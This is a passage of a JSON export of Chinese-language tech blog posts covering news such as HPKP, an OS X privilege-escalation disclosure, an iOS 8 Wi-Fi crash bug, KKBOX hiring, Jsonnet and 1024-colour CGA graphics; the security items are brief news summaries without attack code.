    "body": "在清 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 時看到的，飛到俄羅斯去採訪：「<a href=\"https://www.youtube.com/watch?v=XEVlyP4_11M\">Last Week Tonight with John Oliver: Government Surveillance (HBO)</a>」。(大約在 14:00 的地方開始)\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/XEVlyP4_11M\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "Last Week Tonight 採訪 Edward Snowden"
  },
  {
    "id": "5739",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 的 <a href=\"https://mozilla.github.io/server-side-tls/ssl-config-generator/\">Mozilla SSL Configuration Generator</a> 提供了各種 server side 的設定：\r\n\r\n<ul>\r\n\t<li><a href=\"https://httpd.apache.org/\">Apache</a></li>\r\n\t<li><a href=\"http://nginx.org/\">Nginx</a></li>\r\n\t<li><a href=\"http://www.haproxy.org/\">HAProxy</a></li>\r\n\t<li><a href=\"https://aws.amazon.com/elasticloadbalancing/\">AWS ELB</a></li>\r\n</ul>\r\n\r\n以及不同等級的設定 (Modern、Intermediate、Old)，另外還有 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 的選項可以選擇。\r\n\r\n對於 security 的東西我不是很喜歡用 generator (因為我覺得既然是資安相關的東西，要盡可能知道每個細節)，但算是一種推廣吧，看了一下設定也都還算合理...",
    "title": "Mozilla 提供了 SSL/TLS 設定懶人包"
  },
  {
    "id": "5740",
    "body": "前幾天的 Standards Track：「<a href=\"https://tools.ietf.org/html/rfc7469\">Public Key Pinning Extension for HTTP</a>」。\r\n\r\nHPKP (HTTP Public Key Pinning) 機制是讓 server 端在第一次連線時告訴 client (像是瀏覽器) Public Key 資訊，也就是建構在 TOFU (Trust-on-first-use)：\r\n\r\n<blockquote>Key pinning is a trust-on-first-use (TOFU) mechanism.  The first time a UA connects to a host, it lacks the information necessary to perform Pin Validation; UAs can only apply their normal cryptographic identity validation.  (In this document, it is assumed that UAs apply X.509 certificate chain validation in accord with [<a href=\"https://tools.ietf.org/html/rfc5280\">RFC5280</a>].)</blockquote>\r\n\r\n機制上很像 HSTS (HTTP Strict Transport Security，<a href=\"https://tools.ietf.org/html/rfc6797\">RFC6797</a>)。依據 Mozilla 的「<a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Public_Key_Pinning\">Public Key Pinning</a>」資料，目前新版的 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 與 <a href=\"https://www.mozilla.com/firefox\">Firefox</a> 都有支援了。",
    "title": "RFC7469：Public Key Pinning Extension for HTTP"
  },
  {
    "id": "5742",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到「<a href=\"http://arstechnica.com/tech-policy/2015/04/fbi-cant-cut-internet-and-pose-as-cable-guy-to-search-property-judge-says/\">FBI can’t cut Internet and pose as cable guy to search property, judge says</a>」這篇文章，講 <a href=\"http://www.fbi.gov/\">FBI</a> 的「創意」被法院給否決。\r\n\r\n搜索的手段是這樣發生的。FBI 的人先把網路給剪斷，然後偽裝成修復工人進去搜索：\r\n\r\n<blockquote>The Las Vegas court frowned on the FBI's ruse of disconnecting Internet access to $25,000-per-night villas at Caesar's Palace Hotel and Casino. FBI agents posed as the cable guy and secretly searched the premises.</blockquote>\r\n\r\n然後就宣稱因為這是被邀請入內，所以搜索是合法的：\r\n\r\n<blockquote>The government claimed the search was legal because the suspects invited the agents into the room to fix the Internet.</blockquote>\r\n\r\n不過法官顯然不買帳，引用法官的話：\r\n\r\n<blockquote>Permitting the government to create the need for the occupant to invite a third party into his or her home would effectively allow the government to conduct warrantless searches of the vast majority of residents and hotel rooms in America,</blockquote>\r\n\r\n也就是說，除非當事人明確知道搜索並且同意，不然這種惡搞「同意」的行為並不合法。",
    "title": "FBI 的搜索「創意」被美國法院否決"
  },
  {
    "id": "5743",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNews</a> 上看到可以在桌機上用 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 跑 <a href=\"http://www.android.com/\">Android</a> 應用程式：「<a href=\"http://www.osnews.com/story/28449/Run_Android_apps_on_a_PC_with_Google_Chrome\">Run Android apps on a PC with Google Chrome</a>」，引用的報導是「<a href=\"https://www.theverge.com/2015/4/3/8339197/android-apps-on-windows-mac-linux-chrome-os\">You can now run Android apps on a Mac or PC with Google Chrome</a>」這篇。\r\n\r\n參考「<a href=\"https://developer.chrome.com/apps/getstarted_arc\">Getting Started with ARC</a>」這篇文章，裝「<a href=\"https://chrome.google.com/webstore/detail/arc-welder/emfinbmielocnlhgmfkkmkngdoccbadn\">ARC Welder</a>」這個...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Lm6WMot.webp\" /><img src=\"https://i.gslin.com/imgur/Lm6WMot.jpg\" alt=\"\" /></picture>\r\n\r\n看起來 Linux 也能跑，有空來測試看看... O_O",
    "title": "在 PC 的 Google Chrome 裡跑 Android 應用程式"
  },
  {
    "id": "5744",
    "body": "在「<a href=\"https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/\">Hidden backdoor API to root privileges in Apple OS X</a>」這邊揭露了這個漏洞 (接近於後門的設計)。\r\n\r\n10.10.3 修正了這個問題，但沒打算修 10.7.x 到 10.9.x 的版本：\r\n\r\n<blockquote>Apple has now released OS X 10.10.3 where the issue is resolved. OS X 10.9.x and older remain vulnerable, since Apple decided not to patch these versions. We recommend that all users upgrade to 10.10.3.</blockquote>\r\n\r\n從 2014 年十月發現回報，2015 年一月蘋果建立 CVE-2015-1130，到 2015 年四月才正式修復 10.10.x 的部份：「<a href=\"https://support.apple.com/en-us/HT204659\">About the security content of OS X Yosemite v10.10.3 and Security Update 2015-004</a>」。\r\n\r\n靠靠，我不想升到 10.10 啊...",
    "title": "Mac OS X 的安全性漏洞：蘋果沒打算修 10.9 以下的版本..."
  },
  {
    "id": "5745",
    "body": "查了 <a href=\"https://developer.mozilla.org/\">MDN</a> 的說明，原來 <code><a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/attr\">attr()</a></code> 在 IE8 就可以用了...\r\n\r\n在這篇文章看到純 CSS 的 Responsive Table 技巧：「<a href=\"https://techblog.livingsocial.com/blog/2015/04/06/responsive-tables-in-pure-css/\">Responsive Tables in Pure CSS</a>」，目標是把這樣的表格：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/E429DFp.webp\" /><img src=\"https://i.gslin.com/imgur/E429DFp.jpg\" alt=\"\" /></picture>\r\n\r\n在寬度較小時自動變成這樣的形式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9rHaZ3S.webp\" /><img src=\"https://i.gslin.com/imgur/9rHaZ3S.jpg\" alt=\"\" /></picture>\r\n\r\n用了 data attribute 與 <code>attr()</code>，再加上 before pseudo element。",
    "title": "利用 data attribute 與 attr() 的 Pure CSS Responsive Table"
  },
  {
    "id": "5746",
    "body": "在「<a href=\"http://www.osnews.com/story/28477/Nokia_to_acquire_Alcatel-Lucent\">Nokia to acquire Alcatel-Lucent</a>」這邊看到的報導，<a href=\"http://company.nokia.com/\">Nokia</a> 以 166 億美金買下 <a href=\"http://www.alcatel-lucent.com/\">Alcatel-Lucent</a>。\r\n\r\n<a href=\"http://company.nokia.com/\">Nokia</a> 的新聞稿在「<a href=\"http://company.nokia.com/en/news/press-releases/2015/04/15/nokia-and-alcatel-lucent-to-combine-to-create-an-innovation-leader-in-next-generation-technology-and-services-for-an-ip-connected-world\">NOKIA AND ALCATEL-LUCENT TO COMBINE TO CREATE AN INNOVATION LEADER IN NEXT GENERATION TECHNOLOGY AND SERVICES FOR AN IP CONNECTED WORLD</a>」這邊。\r\n\r\n其中 <a href=\"http://www.osnews.com/\">OSNews</a> 被拿出來講的... 由於 Nokia 將手機部門賣給了微軟，所以 Nokia 其實是不能發展手機的 (應該有時間限制)，但是 Alcatel-Lucent 現在手上有：\r\n\r\n<blockquote>Nokia is not allowed to make smartphones for a while, but Alcatel-Lucent does make smartphones.</blockquote>\r\n\r\n而這是從 <a href=\"http://www.hp.com/\">HP</a> 買來的 <a href=\"http://www.palm.com/\">Palm</a>... (所以 Nokia 又要玩什麼花招了 @_@)",
    "title": "Nokia 以 166 億美金買下 Alcatel-Lucent"
  },
  {
    "id": "5747",
    "body": "一樣是在 <a href=\"http://www.osnews.com/\">OSNews</a> 上看到的，<a href=\"https://www.facebook.com/\">Facebook</a> 提供了一套 Library，可以將 <a href=\"http://www.android.com/\">Android</a> 裝置依照年份分類：「<a href=\"http://www.osnews.com/story/28464/Facebook_s_simple_trick_for_serving_many_different_Android_devices\">Facebook's simple trick for serving many different Android devices</a>」，原始報導是「<a href=\"http://www.androidcentral.com/facebook-has-simple-solution-problem-so-many-different-phones\">Facebook's simple trick for serving so many different Android devices</a>」。\r\n\r\n可以在 <a href=\"https://github.com/\">GitHub</a> 上的「<a href=\"https://github.com/facebook/device-year-class\">Device Year Class</a>」看到如何使用的範例程式碼：\r\n\r\n<pre>int year = YearClass.get(getApplicationContext());\r\nif (year &gt;= 2013) {\r\n    // Do advanced animation\r\n} else if (year &gt; 2010) {\r\n    // Do simple animation\r\n} else {\r\n    // Phone too slow, don't do any animations\r\n}</pre>\r\n\r\n寫起來感覺沒什麼節操，但很實用 XDDD",
    "title": "Facebook 提供 Android 效能分級的函式庫"
  },
  {
    "id": "5748",
    "body": "歐盟開始調查 <a href=\"https://www.google.com/\">Google</a> 的壟斷：「<a href=\"http://www.osnews.com/story/28475/Europe_to_accuse_Google_of_illegally_abusing_its_dominance\">Europe to accuse Google of illegally abusing its dominance</a>」，原始報導出自「<a href=\"http://www.ft.com/intl/cms/s/0%2F643f49ec-e285-11e4-aa1d-00144feab7de.html\">Europe to accuse Google of illegally abusing its dominance</a>」。\r\n\r\n不知道是不是跟先前在「<a href=\"https://blog.gslin.org/archives/2015/03/22/5682/google-%E5%88%A9%E7%94%A8%E6%90%9C%E7%B4%A2%E7%9A%84%E5%A3%9F%E6%96%B7%E5%84%AA%E5%8B%A2%E6%89%93%E6%93%8A%E7%AB%B6%E7%88%AD%E5%B0%8D%E6%89%8B/\">Google 利用搜索的壟斷優勢打擊競爭對手</a>」提到的文件有關：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Z8AgY6s.jpg\" alt=\"\" />",
    "title": "歐盟開始調查 Google 的壟斷"
  },
  {
    "id": "5749",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 的 Open Source 專案一般都採用 <a href=\"http://opensource.org/licenses/BSD-2-Clause\">BSD licenses</a> 放出，而由於 BSD licenses 並沒有專利授權，所以 Facebook 自己附帶專利授權條款讓使用者不用擔心在使用時侵犯到 Facebook 的專利。\r\n\r\n而前陣子這個條款更新了：「<a href=\"https://code.facebook.com/posts/1639473982937255/updating-our-open-source-patent-grant/\">Updating Our Open Source Patent Grant</a>」，範例可以參考 <a href=\"https://github.com/facebook/osquery\">osquery</a> 裡的檔案：舊版的可以參考「<a href=\"https://github.com/facebook/osquery/blob/997e3f3744f55b925351c7bd118694a2895f80b1/PATENTS\">PATENTS</a>」這裡，而新版的可以參考「<a href=\"https://github.com/facebook/osquery/blob/master/PATENTS\">PATENTS</a>」這裡，差異可以看「<a href=\"https://github.com/facebook/osquery/commit/159899a303d0859eb7c3768561544c48ccea42b3#diff-7373d27f0ea94a5b649f893e20fffeda\">Update patent grant</a>」這個 commit。\r\n\r\n不過看起來還是不怎麼友善...",
    "title": "Facebook 更新在 Open Source 軟體裡的專利授權條款"
  },
  {
    "id": "5750",
    "body": "<a href=\"https://www.easydns.com/\">easyDNS</a> 這篇「<a href=\"http://blog.easydns.org/2015/04/10/why-we-will-not-be-registering-easydns-sucks/\">Why We Will Not Be Registering easyDNS.SUCKS</a>」把議題拋出來了。\r\n\r\n<code>.SUCKS</code> 的 domain 申請的目的就是要發橫財，而這也從 Sunrise Claim 的價錢看出來：USD$2499。而當初抗議成立時也沒被接受，現在看起來不像會有進一步的進展。\r\n\r\n除非如同 comment 所提到的被 <a href=\"https://www.google.com/\">Google</a> 抵制，不過實在不像...",
    "title": ".SUCKS 的 Domain..."
  },
  {
    "id": "5751",
    "body": "在「<a href=\"http://morris.guru/huthos-the-totally-100-legit-vps-provider/\">Huthos VPS Provider: Totally legit, 1000% not a criminal organization.</a>」這篇文章裡，作者因為平常就有弄<a href=\"https://zh.wikipedia.org/wiki/%E8%9C%9C%E7%BD%90_(%E9%9B%BB%E8%85%A6%E7%A7%91%E5%AD%B8)\">密罐</a> (<a href=\"https://en.wikipedia.org/wiki/Honeypot_(computing)\">Honeypot</a>)，意外發現這種「業務」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/caSdCkR.webp\" /><img src=\"https://i.gslin.com/imgur/caSdCkR.jpg\" alt=\"\" /></picture>\r\n\r\n作者發現有人打進他的 Honeypot 並且留下紀錄，一路追蹤後發現...",
    "title": "破別人的機器然後拿來賣 Proxy 的「雲端服務」"
  },
  {
    "id": "5753",
    "body": "索引：\r\n<ul>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2015/04/17/5725/kkbox-%E5%BE%B5%E4%BA%BA/\">KKBOX 徵人</a> (Overview)</li>\r\n\t<li>KKBOX 徵人：平台營運處 (API Team)</li>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2015/04/21/5755/kkbox-%E5%BE%B5%E4%BA%BA%EF%BC%9A%E8%BB%9F%E9%AB%94%E9%96%8B%E7%99%BC%E4%B8%AD%E5%BF%83-i-e-client-team/\">KKBOX 徵人：軟體開發中心 (i.e. Client Team)</a></li>\r\n</ul>\r\n<hr/>\r\n\r\n續上篇的「<a href=\"https://blog.gslin.org/archives/2015/04/17/5725/kkbox-%E5%BE%B5%E4%BA%BA/\">KKBOX 徵人</a>」，順便跟 Client Team 的同事徵文，等他寫完後也會貼出來讓大家知道 Client Team 目前找什麼人。\r\n\r\nServer Team 這邊徵人的部份順著每個部門說明，這次先講平台營運處 (API Team)。\r\n\r\n<h2>曲庫開發部</h2>\r\n\r\n曲庫開發部，負責接唱片公司所提供的 API 以及 <a href=\"http://www.ddex.net/\">DDEX</a> 資料，將這些資料半自動或是自動化整合到 <a href=\"https://www.kkbox.com/\">KKBOX</a> 的系統內。\r\n\r\n另外這個部門在某些情況下，會需要寫程式特殊處理曲庫資料。舉例來說，前陣子金牌大風被華納音樂集團併購，這時候就有授權單位轉移的工作要做。\r\n\r\n人工上架的系統也是這個部門開發，由公司另外的部門作業。\r\n\r\n<h2>API 開發部</h2>\r\n\r\nAPI 開發部，負責開發與維護 KKBOX 應用程式的 API。\r\n\r\n<h2>平台開發部</h2>\r\n\r\n平台開發部，負責系統建制。我用條列的方式試著列一些出來：(應該是列不完)\r\n\r\n<ul>\r\n\t<li>搜尋引擎的設計與維運，目前現在是使用 <a href=\"https://lucene.apache.org/solr/\">Solr</a>，正在研究翻新成 <a href=\"https://www.elastic.co/products/elasticsearch\">Elasticsearch</a>。</li>\r\n\t<li>與曲庫開發部合作，像是音檔轉檔與 DRM 機制。</li>\r\n\t<li>與 API 開發部合作，像是依照商業邏輯選擇使用我們自己租用的國際頻寬，或是使用 <a href=\"http://www.akamai.com/\">Akamai</a> 供應音檔。</li>\r\n\t<li>各種通靈業務。</li>\r\n</ul>\r\n\r\n<h2>影音服務開發部</h2>\r\n\r\n影音相關的研發，也是偏 Server Side 的部份。\r\n\r\n<h2>找什麼樣的人？</h2>\r\n\r\n不限於這些，可以是聯集也可以有其他技能：\r\n\r\n<ul>\r\n\t<li>系統分析、系統設計 (SA &amp; SD)，包括了以上業務的分析與設計，主管會調度分配對應的項目。</li>\r\n\t<li>Java 工程師 (以及資深工程師)，目前主要是針對平台開發部的搜尋引擎。</li>\r\n\t<li>PHP 工程師 (以及資深工程師)，這邊提到的四個部門都有在找。</li>\r\n\t<li>Full Stack Engineer，平台開發部與影音服務開發部都有找。</li>\r\n</ul>\r\n\r\n<h2>待續...</h2>\r\n\r\n冨樫中...",
    "title": "KKBOX 徵人：平台營運處 (API Team)"
  },
  {
    "id": "5755",
    "body": "索引：\r\n<ul>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2015/04/17/5725/kkbox-%E5%BE%B5%E4%BA%BA/\">KKBOX 徵人</a> (Overview)</li>\r\n\t<li><a href=\"https://blog.gslin.org/archives/2015/04/20/5753/kkbox-%E5%BE%B5%E4%BA%BA%EF%BC%9A%E5%B9%B3%E5%8F%B0%E7%87%9F%E9%81%8B%E8%99%95-api-team/\">KKBOX 徵人：平台營運處 (API Team)</a></li>\r\n\t<li>KKBOX 徵人：軟體開發中心 (i.e. Client Team)</li>\r\n</ul>\r\n<hr/>\r\n\r\n在寫自家的介紹時，特地跑去跟軟體開發中心的主管要 Client Team 的介紹，人家交稿的速度快多了... Q_Q\r\n\r\nAnyway，這篇是由 Client Team 的主管所寫的介紹，一樣是所有的部門都有職缺 (人力銀行上未必有開)，有興趣的可以提供 resume 到 <code>recruit</code> at <code>kkbox.com</code> 這個信箱。\r\n\r\n<hr/>\r\n\r\n<h2>軟體開發中心 (Application Develop)</h2>\r\n\r\n在 KKBOX 裡頭，我們還蠻習慣以老派的 Client/Server Side 來稱呼不同技術背景的開發人員，Client Side 說穿了就是開發 App 的那群人，只要你喊得出來的主要平台，大概就是我們負責的。\r\n\r\n軟體開發隨著功能的演進，程式碼就會變得又肥又大，自然免不了些壞味道，面臨設計架構的難題，我們希望內部開發者能夠清楚三件事情: Design Pattern，Unit Test，和 Refactoring。上述觀念應當不用多說什麼，幾乎都變成顯學了。我們期盼透過一些原則和流程來讓開發工作變得不會那麼難以維護。\r\n\r\nClient Side 目前共有四個 App 開發部門和 SQA 部門：\r\n\r\n<ol>\r\n\t<li>Windows 開發部: KKBOX 在早期開發時，當時主流的作業系統還是 Windows XP，所採用的開發框架是 MFC，儘管技術很老，但那是個什麼事情都可以自己打造的年代，我們也樂此不疲。會用到 C++/COM 與微軟早年推出的視窗各類技術 MFC/ATL/DirectShow 。說個秘密，我們也還最低限度的維護著 KKman 呢。</li>\r\n\t<li>.NET 開發部: 主要負責的是 Windows Store App 和 Windows Phone 的開發，採用的是微軟在下個世代主推的 Universal App 開發框架來打造 KKBOX 在三個 Windows 平台的體驗。這部門需要熟悉的程式語言是 C#，部門有兩位微軟 MVP 相當熟悉微軟的平台技術，很活躍於微軟舉辦的聚會。</li>\r\n\t<li>Android 開發部: 很明顯地，就是在 Android 手機作業系統上開發 App 的部門，除了手機之外，我們也在 Tablet / STB / Smart TV 各式裝載 Android 系統的裝置上開發。需要熟悉 Java 程式語言和 Google Android SDK。這部門的開發人員很常在 Android Taipei 上出沒，分享開發心得。</li>\r\n\t<li>iOS 開發部: 聽名字應該也不用多解釋，主要就是在 Mac/iPhone/iPad 上開發 App，為了掌握最新技術每年我們都會派人前往舊金山參加 WWDC。需要會的程式語言是 Objective-C，當然蘋果力推的 Swift 也開始加入開發行列，每個月也都在 CocoaHeads 聚會中跟其他開發者閒聊。</li>\r\n\t<li>測試開發部: 俗稱 SQA 部門，著重依據測試的原理和方法來設計測試案例，因此像是黑箱測試方法的 BVA 和 ECP，以及 MBT … 等等都是在設計測試案例時，會用到的測試原理。內部有個小組專門負責研究與建置自動化測試框架，讓各個專案可以各自依照需求建立自己的測試系統。需要熟悉 Python 程式語言，同時我們也將日常得到的心得放在「<a href=\"https://www.facebook.com/TestingWithKK\">科科和測試 Testing with KK</a>」上，提供給同樣想把軟體測試工作做好的每個人。</li>\r\n</ol>\r\n\r\n順道一提，除了 KKBOX 以外，還有 KKTIX，Hami Music 和日本服務 Utapass，也都是上述開發部門負責的。所以你要真的那麼愛寫 App 的話，那這裡應該蠻適合你的。",
    "title": "KKBOX 徵人：軟體開發中心 (i.e. Client Team)"
  },
  {
    "id": "5757",
    "body": "美國政府宣佈資助「反動組織」非法後 (感謝對岸發展出來這個用語，用在這邊還頗適合的)，也就代表資助 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Edward Snowden</a> 非法。\r\n\r\n而這反而引起類似「<a href=\"https://zh.wikipedia.org/wiki/%E5%8F%B2%E7%BF%A0%E7%8F%8A%E6%95%88%E5%BA%94\">史翠珊效應</a>」的情況發生，反而造成大量的 <a href=\"https://bitcoin.org/\">Bitcoin</a> 贊助 Edward Snowden：「<a href=\"http://yro.slashdot.org/story/15/04/05/0458256/after-anti-donation-executive-order-bitcoin-donations-for-snowden-jump\">After Anti-Donation Executive Order, Bitcoin Donations For Snowden Jump</a>」，原始報導出自「<a href=\"http://yro.slashdot.org/story/15/04/05/0458256/after-anti-donation-executive-order-bitcoin-donations-for-snowden-jump\">After Obama's cybersecurity order threatens Snowden fund, bitcoin donations spike</a>」。\r\n\r\nBitcoin 的「無中央控管」以及「交易不可回退」的特性在這個事件中展現相當大的優點。",
    "title": "在美國政府宣佈贊助非法後，Snowden 取得大量 Bitcoin 贊助"
  },
  {
    "id": "5758",
    "body": "<a href=\"https://www.google.com/\">Google</a> 將 <a href=\"http://json.org/\">JSON</a> 延伸發展出來的描述性語言，<a href=\"https://google.github.io/jsonnet/doc/\">Jsonnet</a>：「<a href=\"http://google-opensource.blogspot.com/2015/04/jsonnet-more-elegant-language-for.html\">Jsonnet: a more elegant language for composing JSON</a>」。\r\n\r\n<pre>// Jsonnet Example\r\n{\r\n    person1: {\r\n        name: \"Alice\",\r\n        welcome: \"Hello \" + self.name + \"!\",\r\n    },\r\n    person2: self.person1 { name: \"Bob\" },\r\n}</pre>\r\n\r\n所對應的 JSON 會是：\r\n\r\n<pre>{\r\n   \"person1\": {\r\n      \"name\": \"Alice\",\r\n      \"welcome\": \"Hello Alice!\"\r\n   },\r\n   \"person2\": {\r\n      \"name\": \"Bob\",\r\n      \"welcome\": \"Hello Bob!\"\r\n   }\r\n}</pre>\r\n\r\n可以透過 <code>self</code> 與運算做不少事情。不知道拿來當設定檔如何...\r\n\r\n看日期推出一陣子了，去年八月就放出來了...",
    "title": "Google 的 Jsonnet"
  },
  {
    "id": "5762",
    "body": "應該是在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的，1024 色的 <a href=\"https://en.wikipedia.org/wiki/Color_Graphics_Adapter\">CGA</a> 畫面：「<a href=\"http://www.reenigne.org/blog/1k-colours-on-cga-how-its-done/\">1K colours on CGA: How it's done</a>」。比較容易懂的是「<a href=\"http://8088mph.blogspot.com/2015/04/cga-in-1024-colors-new-mode-illustrated.html\">CGA in 1024 Colors - a New Mode: the Illustrated Guide</a>」這篇文章。\r\n\r\n用到的技巧其實在先前就已經知道了 (維基百科的「<a href=\"https://en.wikipedia.org/wiki/Color_Graphics_Adapter#Special_effects_on_composite_color_monitors\">Special effects on composite color monitors</a>」這段提到的技巧)，不過原文算是把研究做完。\r\n\r\n用的方法是 CGA 的 80x100 文字模式 + <a href=\"https://zh.wikipedia.org/wiki/AV%E7%AB%AF%E5%AD%90\">AV 端子</a> (<a href=\"https://en.wikipedia.org/wiki/Composite_video\">Composite video</a>) <a href=\"https://en.wikipedia.org/wiki/NTSC\">NTSC</a> 的效果做到的。\r\n\r\n故事從頭講起，最前面帶出最基本的 80x25x16 (每個字是 8x8)，以及可以修改 register 變成 80x100x16 (每個字變成只有 8x2，只會顯示最上面兩排 pixel)：\r\n\r\n<blockquote>Basically, you adjust CRTC registers to get 100 rows of text instead of the usual 25; this gives you a character box of 8x2 pixels, a quarter of the normal 8x8.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/I6vQeNl.webp\" /><img src=\"https://i.gslin.com/imgur/I6vQeNl.jpg\" alt=\"\" /></picture>\r\n\r\n然後文章作者解釋這也就是 Macrocom 所發展出來的技巧：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/av1G9dA.webp\" /><img src=\"https://i.gslin.com/imgur/av1G9dA.jpg\" alt=\"\" /></picture>\r\n\r\n然後再來就是利用 80x100x16 再配合 AV 端子的特殊效果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DoVc46t.webp\" /><img src=\"https://i.gslin.com/imgur/DoVc46t.jpg\" alt=\"\" /></picture>\r\n\r\n這在維基百科上也有提到：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/F6Ft1yT.webp\" /><img src=\"https://i.gslin.com/imgur/F6Ft1yT.jpg\" alt=\"\" /></picture>\r\n\r\n於是就可以利用 0x55 (<code>U</code> 這個字) 湊出 256 色：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vfWrSPT.webp\" /><img src=\"https://i.gslin.com/imgur/vfWrSPT.jpg\" alt=\"\" /></picture>\r\n\r\n然後再加上 0x13 (雙驚嘆號) 就可以湊出 512 色：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/k2e8cwU.webp\" /><img src=\"https://i.gslin.com/imgur/k2e8cwU.jpg\" alt=\"\" /></picture>\r\n\r\n最後達到 1024 色的方法是透過暴力更新做到的：\r\n\r\n<blockquote>The lowdown on how this is done is all in reenigne's writeup, which is linked to at the top of this post.  But this is the basic idea: by starting a new CRTC frame every other scanline and twiddling with the start address, it's possible to lay down our character rows so that the first scanline of each gets duplicated twice!</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Z6Ex6u3.webp\" /><img src=\"https://i.gslin.com/imgur/Z6Ex6u3.jpg\" alt=\"\" /></picture>\r\n\r\n這個方法對於 8088 的 4.77Mhz 其實不太容易，所以這部份只有實作靜態圖片：\r\n\r\n<blockquote>Naturally, there are downsides: having to mess with the CRTC every couple of scanlines is quite taxing for the poor 4.77MHz 8088, so there's not much you can do with this other than static pictures.  The 512-color variant, using only ASCII 0x55 and 0x13, doesn't suffer from this – it's basically \"set and forget\", requiring no more CPU intervention than any 80-column text mode (the familiar overhead of avoiding snow).</blockquote>\r\n\r\n然後這是最後的成果，上面是 AV 端子產生出來的結果，下面是 RGBI 的結果：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4DFDVxb.webp\" /><img src=\"https://i.gslin.com/imgur/4DFDVxb.jpg\" alt=\"\" /></picture>\r\n\r\n1981 年的 CGA，在 34 年後居然搞成這樣... XD",
    "title": "1024 色的 CGA 畫面"
  },
  {
    "id": "5763",
    "body": "在「<a href=\"https://citizenlab.org/2015/04/chinas-great-cannon/\">China’s Great Cannon</a>」這篇文章裡面把最近 <a href=\"https://github.com/\">GitHub</a> 被攻擊的事件所使用的武器稱為 China’s Great Cannon。文章裡分析了攻擊的方式、造成的影響。\r\n\r\n不過... 我只是對取名的人讚嘆而已，可以參考偽基百科的「<a href=\"http://uncyclopedia.tw/wiki/%E5%85%88%E8%A1%8C%E8%80%85\">先行者</a>」條目 XDDD",
    "title": "China's Great Cannon：中華大加農"
  },
  {
    "id": "5765",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到別人 retweet 的新聞：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p><a href=\"https://twitter.com/hashtag/iOS8?src=hash\">#iOS8</a> Vulnerability Lets Hackers Crash Any <a href=\"https://twitter.com/hashtag/iPhone?src=hash\">#iPhone</a> and iPad Within Wi-Fi Range <a href=\"http://t.co/FssgRWikFu\">http://t.co/FssgRWikFu</a> <a href=\"http://t.co/xl6q99JJQx\">pic.twitter.com/xl6q99JJQx</a></p>&mdash; The Hacker News (@TheHackersNews) <a href=\"https://twitter.com/TheHackersNews/status/590901153078059008\">April 22, 2015</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n在 <a href=\"https://www.rsaconference.com/\">RSA Conference</a> 發表的 0-day exploit：「<a href=\"http://thehackernews.com/2015/04/security-researchers-have-uncovered.html\">iOS 8 Vulnerability Lets Hackers Crash Any iPhone and iPad Within Wi-Fi Range</a>」。\r\n\r\n<blockquote>Adi Sharabani and Yair Amit of Mobile security firm Skycure presented their latest research, titled \"No iOS Zone\", at the RSA security conference in San Francisco on Tuesday.</blockquote>\r\n\r\n示範影片：\r\n\r\n<iframe width=\"640\" height=\"480\" src=\"https://www.youtube.com/embed/PmgI0LaFYLA\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n起因自 <a href=\"https://www.apple.com/ios/\">iOS</a> 對惡意 SSL certificate 的處理會造成重開機：\r\n\r\n<blockquote>All an attacker need to do is create a malicious wireless network that uses the Wi-Fi connection in order to manipulate SSL certificates sent to iOS handsets.</blockquote>\r\n\r\n目前最好的解法是關閉無線網路：\r\n\r\n<blockquote>Another best measure is to simply avoid the free wireless networks you find in the street providing public Internet access.</blockquote>",
    "title": "iOS 8 的 DoS 攻擊：強制無限重開機"
  },
  {
    "id": "5766",
